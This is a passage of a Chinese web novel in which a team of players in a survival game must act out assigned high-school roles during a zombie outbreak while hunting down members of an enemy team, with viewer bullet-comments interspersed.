课本纷纷被摆到了桌上,大家老实地早读起来,这才有了点儿高三生的模样。 有的人的心思还是野的,眼神纷纷飘向窗外的春光中。 对比起学习,观察树叶都更有意思。 就在此时,开小差的人发现:“副班来了。” 窗外,一道修长身影缓慢走来,斜挎着背包,胸牌上写着温知初三个字。 温知初走到教室门口,对着面前正在打扫卫生的值日生开口:“让让。” 语气冷冷的。 值日生抬头:“啊…啊。” 他让开。 [啊啊啊啊知知出来了。 ] [妈妈的小狼宝宝终于出来了。 ] [这抽的什么人物卡,脸色冷冷的,好可爱哦。 ] [妈呀,楼上好多奇怪的称呼,新队员一下这么多粉丝吗? ] [你实力很强的话也能一下这么多粉丝的,温知初笔试结束后就有后援会和大量粉丝了。 ] [E神和小狼宝宝都是昵称哦,小狼是因为她比赛的时候很有小狼崽子的那种攻击性,和平常温和的样子形成反差,眼睛珠子和性格都很容易被狼塑,总之狼塑是伟大的…至于E神就不用说了吧,她可是头一个SS战队的全E选手…] [补充:叫宝宝是因为孩子还小,还是未成年呢。 ] 温知初踏入教室,一抬头,便看到了一张不怎么让人愉快的脸。 班长。 034号提醒道:[宿主,你耳根又红了。 ] 人物资料卡弹出来。 姓名:温知初 人物背景:高三四班副班长,多次落败于班长竞选,极度讨厌班长。 性格:高冷,自私,完全不顾他人。 [小温怎么抽到了个阴湿女高啊,这样不方便和队友一起行动啊。 ] [怎么和Yu对上了。 ] [脸臭臭的但眼神又是温和平淡的,越看越可爱。 ] 晏逾明望向教室门口,老好人班长主动打招呼,脸却还是冷着的,有种斑驳的剥离感。 晏逾明:“早。” 温知初没有回答,垂下眼,放下背包。 副班长讨厌班长,到骨子里的那种讨厌。 第19章 早读快结束的时候班主任才来了, 是个狠人,一来就抽默英语单词,凡是默错的人晚上喜提一张新的英语试卷回家。 一时间, 哀嚎阵阵。 老师:“下午还有月考, 给你们提前默单词是为你们好。” 老师:“别叫了, 能写多少必须全给我写对了。” 庸长的课程开始,老师们的声音和黑板被粉笔划过的声音交汇在一起,书页在学生们的手间翻动,间或夹杂记笔记的声响、打开文具的声响、亦或是不耐烦地转着水笔的动静。 待到一下课,学生们争分夺秒地出去透口气。 大课间的下课铃响后, 温知初的耳畔响起<深渊>的电子提示音:[注意关键事件节点。 ] 作为一个对学习有执念的副班长,她下课需要继续留在教室学习, 这便是关键事件节点的一种。 温知初低头,从课桌里拿出一本习题,翻开后提起笔,戴着耳机做听力题。 教室里吵吵闹闹的,窗外的走廊上,几个男生围在一起玩儿篮球,篮球的啪啪声隔着耳机都非常清晰。 温知初稳定地写着习题的答案,显然不在意这些动静,但对于[副班长]而言,这些声音可就显得过分嘈杂了。 [注意关键事件节点。 ] 温知初略微抬眼,在电子音响后,按高了耳机的音量。 很快, 更大的喧哗声穿透耳机。 走廊上不断传来哄笑声,不停有人大声地喊班长。 “班长!我们翘课下去打球吧!” “班长,中午出去吃饭?” “班长…” 和向来独来独往、偶尔显得十分自私的副班长不同, 班长的人缘向来很好。 这些声音,在落选班长位的副班长耳中,显得十分刺耳。 [注意关键事件节点。 ] 笔尖顿住,温知初摘下耳机,任由其垂下。 她站起身,修长的手推开窗户,看向窗外:“能不能安静些?”冷漠的声音中有不耐烦。 一群男生顿住,人群的中央,被簇拥的晏逾明同样朝她投来视线。 正在完成[关键事件节点]的温知初一脸平静,但在注意到晏逾明的注视后,下意识地避开了视线。 她继续说:“教室里还有人在自习。” 她重新望向晏逾明:“你不是班长么,为什么不管好纪律?” 隔着窗户,两人对望着。 温知初比了一个无声的口型:“虚伪。” 她的眼神没有温度,像是看着自己最讨厌的人。 说完后,指节分明的手将窗户用力地关上。 [救命,他们两个好像真的关系不好。 ] [不像是演的。 ] [我之前就觉得他们两个关系不太对劲,小温对其他人都很自然,但每次面对Yu都有些不自然。 ] 坐回位置后,温知初的表情恢复冷静,她少见地出现了紧张的情绪,深吸了一口气,抓起耳机塞住耳朵,不让自己的余光继续被窗外那道身影所吸引。 窗外,有道视线透过窗户,长久地盯过来,有若实质。 坐在教室后排的将铭停下和同桌僵硬的笑谈,看着这两人,不由地挑了挑眉。 看起来确实不太融洽的样子。 · 午休开始后,一群人涌向食堂,为了省时间,副班长一般会去便利店买三明治。 [注意关键事件节点。 ] 温知初走向便利店。 在等待的队伍里,她遇到了一张熟悉又陌生的脸。 说熟悉是因为他是邱任望。说陌生是因为邱任望这个向来笑意满满的碎嘴子,面瘫着一张脸,很是冰冷的模样,左手拿着热水杯,右手拿着单词本,不时看一眼。 温知初和他对望,彼此淡淡地点了个头。 这个态度放在温知初身上很正常,放在邱任望身上简直是异常了。 [噗] [小邱这是被分配了个什么剧情人设,怎么这么奇怪呢哈哈哈。 ] 人物资料卡弹出来。 姓名:邱任望 人物背景:高三三班的学习委员 性格:为人高冷,面瘫,一心只有学习 [] [暂停笑几声,哈哈哈哈哈哈哈哈。 ] [小邱果然和将队拿错人设了,互演是不是? ] 午自习难得没有布置试卷,下午有月考,老师把时间留给大家休息,提前拉了窗帘,让大家午睡。 学生们拿出抱枕,放在桌子上,埋头伏身。 老师走后,不少人悄悄地聊起天,在黑暗中传递、交换零食,笑声时不时响起。 与此同时,另一栋教学楼外,有人发现负责拿篮球的那两个男生一直没有联系上,纷纷去找他们。 其他地方都找过了,只有老仓库还没找过。 保安走在前面,带着找他借钥匙的几个学生走到操场。 中午的日头很躁,保安一边开锁一边说:“你们这些孩子啊,你们那两个同学该不会翘课回家了吧…” 几个高二生说:“不可能,下午还有篮球赛呢。” 锁簧弹起,仓库的门打开了,发出吱呀的厚重铁门声。 · 静谧的下午,高三生这一栋楼的学生们前往不同的分班教室进行考试,听力部分已经结束,大家伏案写卷子,笔在整洁的卷面上留下一道道痕迹。 温知初被分到了一楼的高三一班,坐在靠窗的位置,在考试之前,她略微抬起眼,往外看了一眼。 树梢上映照着春光,雀儿啼鸣。 水笔划过试卷的沙沙声中,钟表的秒针精准地前行,敲打在高三生紧绷的神经上。考生们面色凝重,不少人戴上了耳塞,杜绝窗外一丝一毫的声音,哪怕是风吹过树梢的动静。 已经有人写到了最后一道大题。 可就在此时,窗外的走廊呼啦跑过一群人,伴随着混乱且嘈杂的尖叫声,以及急促奔跑的脚步声。 “高二的又下课了?” “我们还在考试啊,外面吵什么啊?” 不耐烦的抱怨声此起彼伏,监考老师皱眉,放下手上的档案袋,走向门口,用力拉开门:“里面还在考试,外面的人…” 几道身影转过来,望向出声的方向,监考老师的话音戛然而止。 紧接着,监考老师在门口的身影被几个人撞倒在地,发出骇然的尖叫声。 考生们不明所以地抬起头,看到了这辈子从未在现实中见过的光景——那些他们原以为的高二生眼白浑浊,身体皮肉翻开露出白骨,嗓子里断断续续传来咯咯声,他们张大嘴,围着监考老师,已然啃咬下他脖子上、脸上和胸前的大块血肉。 丧尸! 是电视里才会出现的那种丧尸! 撕咬间鲜血四溅,监考老师的断臂被扯到一旁,让考生们意识到这是现实,不是梦境,更不是在拍电影。 试卷和笔滚落在地,考场骤然炸开,走廊上不断有丧尸在涌进教室,学生们终于反应过来,尖叫声响起,座椅被踢翻,他们争相往后门逃。 温知初站起身。 从刚才监考老师走出门时,她的耳畔便不断响起[注意关键事件节点。 ]。 [注意关键事件节点:慌张,虚弱。 ] 她深黑的双眼望向教室后排,那里倒了四五个考生,丧尸们如同蚁堆般围拢而去,撕咬新鲜的血肉。 教室的前面,监考老师已经缓慢地站起身,他的身上只剩下半壁血肉,骨头上还有被啃咬过的痕迹,他缓慢地转动着脖子,望向教室里惊慌的考生们。 地上的试卷们,留下了一道道带着血痕的脚印。 丧尸潮剧情的起点,在此被点燃。 安静而美好的校园,如同柴火一般豁然烧起来,从校园上方往下看,高墙外,大片的、如同蝗灾一般的丧尸群正在靠近,分布在东西南北不同的四侧,已经跑进校园不少。 校园的四处大门紧忙地阖上。 操场、教学楼、食堂、体育馆、游泳馆、礼堂…不断传来尖叫声,学生们奔跑着,就如同动物在进行着大迁移一般。 温知初拎起挂在桌旁的背包,往外走。 对于她来说,不断奔涌的尸潮和赛制外的<深渊>世界没有什么两样,但对于副班长而言,这是一场命运的颠倒。 原本安静的校园生活,彻底被掀翻了,副班长慌张而虚弱到极点,会双腿发软到站不起,会尖叫着摔倒弄伤自己,会无法在丧尸奔跑来时及时护住自己。 [注意关键事件节点:慌张,虚弱。 ] 温知初走出教室,无法双腿发软的她形式地虚扶了一下课桌,停顿了一下,在身后的腥臭身影快要靠近时,加快脚步跑出了教室。 [注意关键事件节点:慌张,虚弱。 ] 温知初放慢脚步。 高三教学楼的一楼密密麻麻都是丧尸,一走出来,一地全都是血,集聚的丧尸群内,几道求生的手高高地伸起,最后又痉挛着垂落。 温知初抬起头往外看,教学楼外的丧尸大有围拢向高三教学楼的态势,现在最明智的就是上楼,找个有门锁的地方先躲起来。 但副班长显然无法想到这点。 [注意关键事件节点:摔倒受伤,发带掉落。 ] 温知初视线微垂,脚下停顿,顺势降低身体,手肘轻轻磕在地上,她跌倒在地的同时用手解开发带,如瀑的青丝散落,膝盖擦破皮,渗出血珠。 她肤色原本就白,这假意的受伤中,莫名真能透露出几分温润的虚弱来。 [让我们SS战队的人演虚弱也太难了。 ] [可知知演的真好啊。 ] [丧尸围过去了,剧情该不会不让小温动吧! ] 三四个丧尸从不同方向围拢而来,扭曲残缺的面孔闻着新鲜的血肉扑过来,温知初压住身体的惯性反应,不让自己立即起身,修长白皙的手扶住墙,寻找一个可以虚弱着躲过去的角度。 “小心!” 一个穿着校服的男生跑过来,半蹲着,将她扶起。 他穿着显得宽松的校服,袖口整洁,眉眼沉静而明朗,校服胸口印着个叫顾学朗的铭牌。 “站稳了。”他的声音不高,但清晰。 他抬手甩起手上拿着的棒球棒,扫开扑来的丧尸,挥舞数次,三四只丧尸的包围被破开。 温知初站起身,平静地望向他胸口的铭牌:“谢谢。” “不客气。”混乱中,顾学朗对温知初说道,“我要去救我弟弟。”他继续挥着棒球棒,目光锁定外面混乱的人群和尸群。 他让温知初看向楼道:“这里太难突围出去了,它们现在都在往这座楼跑,估计这里活人最多…你往楼上跑,找个有门锁的地方躲起来。” 有个丧尸从背后扑向顾学朗,眼见着就要咬向他的脖颈,温知初抬起手,拿背包挡了一下,看起来没用什么力气,但丧尸在她霎那间的手劲儿下被掀翻在地。 顾学朗注意到身后的动静,他转过头时,看到的却是虚弱的温知初轻轻点头:“好。” 顾学朗:“那我先走了,注意安全。” 说完后,消瘦的身影遁入尸群众,棒球棒挥舞着,顾学朗的身影渐行渐远。 温知初低垂的眼微闪,她盯着顾学朗的背影看了几秒,而后站起身,用书包挥开凑近的几个丧尸,力气已然尽量得被她放小。 她往楼道上走,故意走得踉跄,但速度越来越快。 [刚才那个顾学朗好好啊,感觉像个好人。 ] [但是刚才知知自己能躲开,他过来反而拖延了她离开的时间。而且知知后来还替他挡了一下,反而算是知知救了那个路人,要说好人也是知知是好人。 ] [楼上的,请你谨记小温是个道德E。 ] [是啊,我倒是觉得刚才小温一直在趁机观察那个顾学朗。 ] [难道是怀疑顾学朗是敌方队伍的人?可是如果是这样,她大可以放着他不管,让他被丧尸偷袭就行了。 ] [不可以欸,你忘了还有剧情控制了,如果连顾学朗这种看起来体能还不错的都在同一个地点死于丧尸口了,按照剧情人设逻辑,副班长也会逃不出去的。 ] 弹幕滚动着。 [刚才顾学朗什么都没有做啊,为什么大家都怀疑他? ] [因为在这个丧尸世界里,任何人都可能是演的。 ] [就算是队员,也会被剧情赋予仇敌的人设,更何况是突然出现的陌生人,现在表现得再友善,说不定在靠近救人时,想着的却是如何在合适的剧情机会里杀死你。 ] 第20章 血腥气浓烈地弥散在空气中,逃生的学生们拼命地沿着楼梯往教学楼高处爬,鞋底碾过一滩滩还未凝固的血迹,带出串串凌乱的脚印。 温知初踏上了二楼。 二楼的走廊上惨叫、嘶吼混杂,课桌横七竖八地倒在地上,崩裂的木刺沾满血污。学生们拿起地上的木杆,试图抵挡走廊上拥挤的丧尸,敲门,想进教室躲着。 “开门!开门!”他们用力拍着教室门,声音因为恐惧而嘶哑。 可门内死寂无声。 教室门紧闭着,里面的人甚至已然 将窗帘给拉上了,试图隔绝教室外的一切求救声。 “开门!他们要过来了,快开门!” 学生们喊着以往同学的名字,教室内依旧没有任何回应,让人一度怀疑是不是教室里根本就没有人。 温知初踏入人群中,拎着书包,她颀长的手指在溅到血的窗台上抹过,捋了血,把血蹭到自己的侧脸到脖子处,让她整个人看起来更为虚弱。 每当有丧尸接近她时,这个看似虚弱的少女总能及时地躲开。 “求求你们,快开门!”有人踢着门,一声比一声更绝望。 “真的!求求你们了!” 但门的另一侧, 依旧寂静无声。门内的学生显然不愿冒险。 敲门的学生因为分神,没有注意到从身侧课桌堆缝隙伸出的一只手,那只青灰色的手猛地拽住她的脚踝,踉跄的摔倒声后,于尖叫声中,那丧尸扑了过来,啃食的声音无缝隙地接连而上,更多的丧尸越过课桌的防线扑过来,扑向课桌包围内敲门的学生。 伏身啃食血肉,肠子拖了一地。 [注意关键事件节点:逃回高三四班。 ] 有丧尸奔跑而来,温知初顿住脚步,她短暂地环顾四周,趁着混乱中没人注意到她,装着保龄球的背包被拽起,在半空中挥过去,沉闷的撞击声响起,三四个丧尸全都倒下了。 黑色的背包被血污染上颜色,她往后看了一眼,走向高三四班。 [注意关键事件节点:虚弱,慌张。 ] 温知初放慢脚步,血迹粘连在鞋底,发出细微的黏腻声响。 她抬起手,放轻声音,让声音听起来虚弱:“让我进去…” 教室里传来吸气声,紧接着,有人迟疑地问:“…温知初?” “是我。”温知初声音听起来是筋疲力尽,但深黑的双眼毫无波澜。 听到答案后,教室内陷入了沉默,空气中流淌着难言的犹豫。 作为一个人缘很不好、给很多人留下负面印象的副班长,教室里的人们,显然不想放她进去。 教室有声音响起:“里面人已经太多了,去别的地方吧…” 温知初依旧站在门外,余光分给身后摇摇晃晃靠近的丧尸,它显然才啃咬过一个人,手上还缠着糜烂的肠子。 温知初仿佛没有听到教室里的回答,再度抬起手,指关节抵着门板,轻轻敲了敲。 没人开门,也没有再传出声音。所有人都默认了他们的冷漠。 那丧尸越来越近,温知初平静地抬起手上的背包。 “咔哒。” 门锁被人从里面打开,一只骨节分明的手骤然扣住了她的手腕,用力一拽——温知初猝不及防地被扯了进去,下一秒,她撞进了一个坚实温暖的怀抱。 她抬起眼,对上一双冷肃而沉静的双眼。 是晏逾明。 是班长。 对上双眼的同时,温知初的耳廓霎那间红了。她几乎立即要退开,但[注意关键事件节点:虚弱,慌张]的声音响起后,她的膝盖发软,跌进了晏逾明的怀里。 晏逾明垂眼望向她,似笑非笑。 门外的丧尸闻到活人的气息,疯狂地冲来,尖利的指甲扣住门框,张开血肉模糊的嘴巴。 晏逾明一只手稳稳地抱着怀中的温知初,猛力踹开门外的丧尸后,另一只手用力地将门关上。 “砰——” 丧尸被踢得滚了出去,门被重重地关上。 教室里一片死寂,躲在教室里的学生们惊愕地望着被拽进来的温知初以及半拥着她的晏逾明。 一双双眼睛隐在黑暗中,有的不安,有的惭愧,有的排斥。 由是,没有人发现温知初发红的耳廓。 “谢谢。”她终于站直身,从晏逾明的怀中退了出去,呼吸比往常深了一些。 · 教室里气氛一直很沉寂,天色逐渐暗了下来,血腥混杂腐臭顺着窗缝渗进来,被窗帘遮罩住的空气像是凝滞了一般,闷得人喘不过气。 尸群还在走廊上游荡,不停有丧尸撞击门板,指甲刮蹭木门,发出令人头皮发麻的声响。 教室里的学生们已然把桌椅搬到教室后排,围成一个防线,大部分人躲在桌子底下,蜷住身躯,捂住耳朵,尽可能压抑呼吸。 即使有人流泪,也不敢发出太大的声音。 温知初找到一个角落,纤瘦修长的身影靠窗坐下,把背包放在了身侧,背包里的保龄球发出轻微的磕碰声,她平静的眼神扫过教室里的人。 这里有不少外班的同学,显然是因为月考留下的,人群中,TRES的队员已经集齐了。 将铭和邱任望,他们两个人坐在位置上低声地交流着,邱任望平日嘻嘻哈哈的,此时因为抽到的人设,正皱着眉头一幅沉思的模样,而向来面瘫的将铭此时嘴角僵硬地上升。 温知初移开视线,望向教室的另一侧。 屈孚宁和章诎,他们都是高二的学生,跑来高三的教学楼避难。 他们的运气显然不错,抽到的剧情人物性格和本性基本相符。 屈孚宁依旧社恐,避着人群,盘坐在一张桌子的旁边,沉默地盯着地板。章诎眯着一双狐狸眼,低着头不知道在想什么。 温知初的视线继续缓慢地划过人群… TRES的六人已经在高三四班汇聚齐了,那么…这么多学生中,又有多少人是敌方的人。 没有?一个、两个?还是…全都来了? “砰”“砰砰” 又有一波新的丧尸群涌上了教学楼,高三四班的门被狠狠地撞击着,丧尸头颅的叩击声很是沉闷。 外面的走廊上,有人被丧尸给从课桌堆里拽了出来,高昂的尖叫声后是皮肉被撕扯的声音,听得教室里的学生们头皮发麻,几乎能想象出来脸上的肉被整块咬下来的感觉。 有人忍不住叫出声,被身旁的同学立刻捂住嘴。 外面的丧尸在一拨一拨地涌来,下午的几个小时里,门外至少来了三四批游荡的尸群,门被拍打得变形,但庆幸的是,始终没有被撞破。 一直到傍晚,天色彻底阴沉下去,外面才终于安静下来。 温知初靠着墙,闭眼休息,在外面安静下来后,她的耳旁响起熟悉的<深渊>电子音。 [辅Vent位,正在为您进行随机武器抽取。 ] 她睁开眼,眼前浮现出淡蓝色的光屏,目光落在抽取二字上。 [随机抽取中—— ] [抽取完毕。 ] 电子音结束,温知初的手心多了…一双筷子。 保持围观的034号:[……] 034号:[宿主,你这运气…不愧是幸运E。 ] 温知初看了眼手中的木质筷子,放到一旁的窗台上,她不由自主地望向班长所在的方向,显然Carn位也已经完成了抽取。 教室前排的柜子旁悄无声息得多了一根钢管儿。 晏逾明垂眼,视线漫不经心地掠过钢管,没有拿起,他转过身,正好对上温知初来不及收回的目光。 温知初立即移开眼,那道高大修长的身影朝她走来,脚步不紧不慢,他停在她面前,嗓音低沉:“抽中了什么?” 温知初停顿了片刻:“木筷子。” 晏逾明落座在她身旁,温知初注意到身旁的动静,略微绷紧手指。 晏逾明由上至下地看着温知初,定在温知初侧脸的血迹上:“受伤了?” 他抬手,手指探出,像是要触碰那抹血迹。 温知初身体一僵,她下意识地躲开,动作快到不像“虚弱”之人该有的反应。 晏逾明的手顿住,眉梢微微一挑。 温知初努力让语气平静:“是假的,沾的血。” 耳尖有多容易发红,语气就有多波澜不惊。 [完了,我感觉他俩真不像演的,关系真的好像不好欸。 ] [知知是和Yu八字相冲吗,我看着好像真的有点儿不对劲。 ] 空气里有片刻的静默,教室外依旧传来丧尸游荡的脚步声,不过比起下午已经平和了太多。 温知初抿直唇线,她似乎想开口也问些什么,耳畔响起[注意关键事件节点:厌恶班长] 。 她愣了愣,而后冷声道:“我受不受伤和你有什么关系,班长。” 说完后,她抬起眼,眼中一片淡漠。 晏逾明回望她,深邃的眼神暗含着无声的侵略性,像是猎人在盯着什么新奇的猎物,半响,低笑一声。 “副班长…”他开口,“你真的很称职。” 温知初没接话,偏过头,去看窗外的天色。 夜幕已沉,夜幕下的校园建筑依旧挺拔而秀丽…可惜物是人非,这座校园已然成了活死人的占据地,僵硬的尸体于各个角落游荡、盘旋。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 20-30 第21章 21:00。 初春夜晚的寒意从教室里的地砖上升起,破损出裂口的窗户挡不住窗外的风,哪怕教室里静谧,空气里隐约传来的血腥味和腐臭味,提醒着所有人,外面的世界已经彻底变了样。 为了取暖, 大家本能地靠拢在一起, 关系好的三三两两围坐, 脱下外套盖在腿上,用堆起来的书包挡住穿堂风。 桌椅下、地上铺上试卷、报纸和作业本, 这就是大家今晚的“床铺”。 同班的学生显然更亲近, 高二生和高二生围在一起,高三生和高三生围在一起, 各自寻找熟悉的同伴。 很多人已经很饿了,但都尽可能地没有把书包里的食物拿出来吃,谁也不知道救援队到底什么时候会来,甚至……会不会来…食物得节省着吃。 实在饿了,几块巧克力,大家一起分着吃。 温知初站在窗边,纤瘦修长的身影静静地望着窗外,戴上了卫衣的帽子,白皙瘦削的脸庞被窗外的灯光照着,深黑的双眼像是被染上一层光。 [呜呜呜知知真的好好看, 你看她卫衣帽子上的那个形状, 像不像一对狼耳朵。 ] [截图、截图, 好想截图! ] [小温到底在想什么呀,我发现这个孩子真的无论在赛景内还是在赛景外,话都很少啊。 ] 温知初往远看, 操场上的大灯坏了,只能看到模糊的影子晃动,僵硬而缓慢。校园的高墙外,是一层一层堆叠的尸墙。 几个同学凑过来,压低声音开口:“你觉得救援队什么时候会来?”声音中有焦虑和期盼。 温知初一向温和待人,无论对方是熟悉还是陌生,除了对晏逾明这个特殊的存在,她向来都会耐心回答问题。 但,[注意关键事件节点:自私,淡漠。 ] 温知初没有回头,言简意赅:“他们不会来的。” 同学们:“怎么可能,我们可是祖国的未来,是年轻人,是将来的劳动力,他们肯定第一时间来救我们…” 温知初:“救我们这块地方并不划算,这里已经沦陷了,他们不可能会来的。” 同学们原本期待听到些安慰的话,没想到得到的却是最冷硬的答案。 副班长还是这般讨厌! 大家不愿意再跟副班长交流,回到人群里。 半小时后。 窗帘旁的角落,TRES队伍的六个人逐渐围拢到一起,依次落座,课桌挡住了他们的身影。 温知初到的时候发现只有晏逾明身旁有位置,她顿了顿,才坐下。 晏逾明注意到她戴着帽子:“冷?” 温知初沉默地摇头,两人没有再说话。 <深渊>的电子音响起:[已收到主Tactic邱任望的权限申请,为TRES开放半个小时的剧情外交流时间。 ] 终于可以自由交流,权限开启后,大家的神色都放松下来。 刚才还在装面瘫的邱任望,瞬间收起那副故作沉稳的表情,耸动肩膀,挤眉弄眼,恨不得把自己僵了一整天的面部肌肉都活跃回来:“好了,现在可以说正事了。” 笑了一整天的将铭也终于可以放下半永久上升的嘴角。 将铭直奔主题:“你的权限是什么?” 邱任望:“作为主Tactic,这次我的权限是剧情脱离。” 在完成一定量的剧情任务后,可以获得一次剧情脱离的机会,每次半个小时。 邱任望:“我今天的任务是一直保持哑巴八个小时,什么声音都不能发出…我真的,这辈子我没有像今天这么难受过…” 将铭打断他的的抱怨:“说正事,只有半个小时。” “章诎,你说。”邱任望的下巴点向对面的辅Tactic 。 章诎点点头,打开了他的权限光屏:“我的权限是地图。” 一张教学楼的局部地图在大家眼前展开,他们所在的二楼,有超过三十只丧尸游荡,其他更全面丧尸分布视野只有章诎有权限能看到。 他没有描述丧尸是怎么分布在各地的,直接说结论。 章诎:“目前来看,我们的最优移动路线是——绕过食堂,前往游泳馆。” 他用手指在地图上标记路径:“推算出来,在这个过程中,会更容易遇到敌方的队员。” 他们的任务不是躲避丧尸,这是深渊杀戮赛,他们的目的永远是找到更多的敌方,杀戮,以此来结束比赛。 章诎:“这次是不限时赛,只有清杀至少三个敌方并完成各自的剧情节点,才能结束比赛,从域里离开。” 他开口:“明早动身去游泳馆。” 温知初的手无意识地摸着就近的书包带子,听得认真:“好。” 晏逾明高大的身影散漫地倚靠在椅背上,他看了眼温知初手上的书包带子。 果然还是个小孩儿。 他望向邱任望:“继续说。” 讨论完路线,邱任望继续开口:“作为主Tactic ,我还有一个特殊权限…验证对方是否属于敌方队伍。” 他道:“触发条件,是收集对方的血液或者是毛发来验证。这个权限是六个小时才开启一次,每次只能验一个人,所以要谨慎选择怀疑的对象,节省查验的机会。” 短暂的沉默。 邱任望:“我们这次的赛制,所有职能位都能杀异种,但只有Vent和Carn能杀敌方队员。而且——” 他继续道:“只有Vent可以全程杀人, Carn只能在后半程开启屠戮权限。不过Vent的限制是一次只能杀一人,而Carn能共享所有Tactic才能拥有的权限。” 邱任望望向屈孚宁:“主Vent,说两句?” 屈孚宁扶了扶黑框眼镜,局促地开口:“因为剧情限制,虽然我是主Vent ,被开启了屠戮权限,但我的人设是个胆小又正义的人…所以,我无法动手做出杀人这个行为…起码在剧情内是这样。” 他望向温知初:“现在能执行屠戮任务的,就只有…” 温知初接过话:“我知道了。” 副班长是一个可以害人的人。 晏逾明的上半身后倚着,向前望着身旁的温知初,视线落在她侧脸的血迹上。从表面看,真的像极了一个虚弱的少女,就像上辈子悬崖旁的她一样。 血流不止,随时都会消亡一般。 他淡淡地开口:“小孩儿的角色很虚弱,后半程我可以帮忙。”语气散漫,一贯的淡漠。 听到自己被叫小孩儿,温知初的手指轻轻动了几下,她放下书包带。 温知初:“我可以的。”声音平静。 章诎:“我的角色是不爱学习的痞子,也算是个反派人物,倒是可以跟她一起,辅助一下。” 她抬眼:“谢谢。” 晏逾明眯了眯眼,望着温知初的背影,懒洋洋地开口:“我的谢谢呢?现在应该不是副班长了吧?” 温知初愣了愣,她转过身,垂首:“谢谢Yu哥。”疏远的语气,藏起了所有的情绪。 晏逾明兀然靠近,俯身,望向她帽子下的双眼,温知初眼神一定,后退,晏逾明勾起唇角。 真是…不情不愿。 · 22:00。 走廊里已经安静了有一会儿了,教室里不少人都缩成一团躺下,但没人睡得着,沉默和寂静蔓延。窗外的风吹得玻璃微微震颤,远处建筑传来不明的闷响。 此时,门外传来一阵敲门声,急促,又带着试探。 丧尸缓慢游荡的身影顿时在高三四班门外变得集聚起来,门外亦传来打斗声。 “快让我们进去!”外面不止一个人,声音带着喘息,和隐约的恐惧,“放我们进去,我们从医务室那里逃过来,我们有药和食物!” 教室里顿时炸开了锅。 “来人了?” 有人道:“不能开,万一他们被咬了怎么办?” “可是他们说有药和食物!” 这话让众人动摇,温知初若有所感地看向门的方向。最终,将铭走上前,小心翼翼地开了一道缝,透过昏黄的手电光扫视外面的人影。 四个人站在走廊上,气息不稳,衣服上沾有血迹,不过皮肤上并没有被咬过的痕迹。 门被彻底打开,四个人走了进来,门很快被关上,隔绝门外用力抓挠木门的动静,游荡的尸影持续用脑袋撞门。 领头的是一个面容清俊的高三生,神色沉稳,他身旁站着一个与他有几分相似的少年,言语间似乎是他的弟弟。剩下两人,一个是戴眼镜的高一学生,神色忐忑地环视四周,另一个则是位年轻的校医,身上穿着白大褂,斯文样貌。 温知初看到领头人的样貌,抬眼。 是他。 顾学朗也看到了温知初:“是你…” 温知初站在人群的边缘,略微点头回应,没有再多的回应。 顾学朗的弟弟顾学用皱了皱眉,语气不善:“你救过的人?干什么这么见义勇为?刚才我们想进来的时候也没见她帮我们说话…” 顾学朗用眼神制止了弟弟的话语,朝温知初露出一个不好意思的笑。 站在温知初身后的晏逾明:“认识?” 温知初没想到晏逾明离自己这么近,脖颈下意识地往后转,深黑的双眼有种懵懵的感觉。 晏逾明:“嗯?”他的眼中略有笑意。 034号不由地感慨,单看他们的相处,有谁能想到,这两个人,一个上辈子背叛杀了另一个,而另一个,现在对宿主的杀意值一直居高不退呢。 晏逾明比温知初高许多,就算倚在课桌旁,也是垂眼望着她,低沉的嗓音里说不清有什么用意。 温知初移开眼神:“嗯。” 她望向人群:“下午见过。” 第22章 23:30。 深夜, 依旧无人敢入睡。 温知初走到一旁,打开终端。 片刻后,邱任望的终端收到信息, 他屈膝, 望向自己手腕上的终端屏幕。 除了他自己,周围的其他学生都看不到他手腕上有个终端,毕竟终端这种东西,是不属于域里的产物。 Wen:我怀疑顾学朗是敌方队员。 Q:你怀疑他是? Q:好。 邱任望没有多问什么,他也有种莫名的直觉。 Q :我让将铭过去收集查验的证据。 没过一会儿,将铭僵笑着一张脸走过去,伪装成人设里自来熟的模样,揽过新来的四个人:“走,我们去聊聊你们是怎么过来的。” 他道:“你们睡我那边,我那儿还有空位置。” 四个人刚来,确实需要融入的机会,没有多犹豫,跟着将铭坐到教室后排东南角。 温知初站着的位置正好与他们是教室的对角两端,隔得很远,但抬头就能看到对面,一览无余。 她坐下,望向对面强作欢笑的将铭和他身边的人群,修长的双腿倚在墙边,她略微俯身,眼神一直没动过,如同一个耐心很好的伺猎者。 将铭动了。 他离开了原来的敌方,走向了邱任望的方向。 其他同学围拢向顾学朗他们这些人,校医脾气很好地打开背包,开始给大家分医药用品和巧克力,伤口较重的同学拿到药后就开始涂消毒药水,巧克力沿着教室被一个个得分,窸窸窣窣的食品包装袋声响起。 作为一个人品和人缘都很差的副班长,没有人给她递巧克力。 温知初没有转移视线,依旧望着对面。 下一刻,终端震动。 邱任望在TRES群里发了消息。 Q:确定了。 Q :顾学朗是。 Q:@Wen 找机会动手。 诎:动手的同时注意要遵守剧情人物限制。 温知初垂眼。 Wen:收到。 紧接着,终端再次响起。 Q :你是怎么发现他异常的? Wen:语言有漏洞。 下午在教学楼一楼的时候,顾学朗当时说,他要去救弟弟。 当时丧尸刚开始出现,对于亲近的人,多数人不会预设最坏的情况,第一反应会是去找弟弟,而不是救弟弟。 Wen:不过这种细节也是因人而异,当时并不确定。 现在确定了。 温知初放下手,抬起头,对面的顾学朗察觉到她的注视,朝她微微一笑。 温知初没有像之前那般冷淡,她提起唇角,温和地回了个笑。 顾学朗的笑却愣住了。 那是一个太过完美的笑容,极其漂亮、恰到好处,却透着一种诡异的不真实感,像是在锁定着什么。 类伪人般。 副班长,不像是会这么笑的人。 又有人过来了,顾学朗收回眼神,同他们讲话。 · 教室的另一角,邱任望和章诎坐在人群中低声交流,教室里没有开大灯,害怕吸引来丧尸暴动,只开了个手电筒放在课桌间,微弱的手电光拉长人们的影子。 邱任望保持人设的面瘫模样,声音却没停过:“没想到小温刚加入我们,第一次任务就得单扛了。” 他叹气:“她的运气是真的E啊,人设这般独来独往,连我想帮她都不方便。” 还有个原因,邱任望现在的任务完成量已经被刚才的查验消耗完了,实在不足以为温知初单独兑换一次脱离剧情,这种权限,必须用在刀刃上,用在团队活动上。 章诎眯着狐狸眼:“她的武器抽取了?” 邱任望:“是双…筷子…”还是木的。 章诎啧了声:“副班长是个虚弱又独来独往的剧情人物,再加上抽的是双木筷子,换成是我,也没办法下手。” 赛制规定,只有拿抽取的武器才能杀死敌方人员。 邱任望:“也就你和她两个人看起来是比较负面的角色,你得帮着她。” “当然。”章诎挑眉,“可惜我现在没办法脱身。” 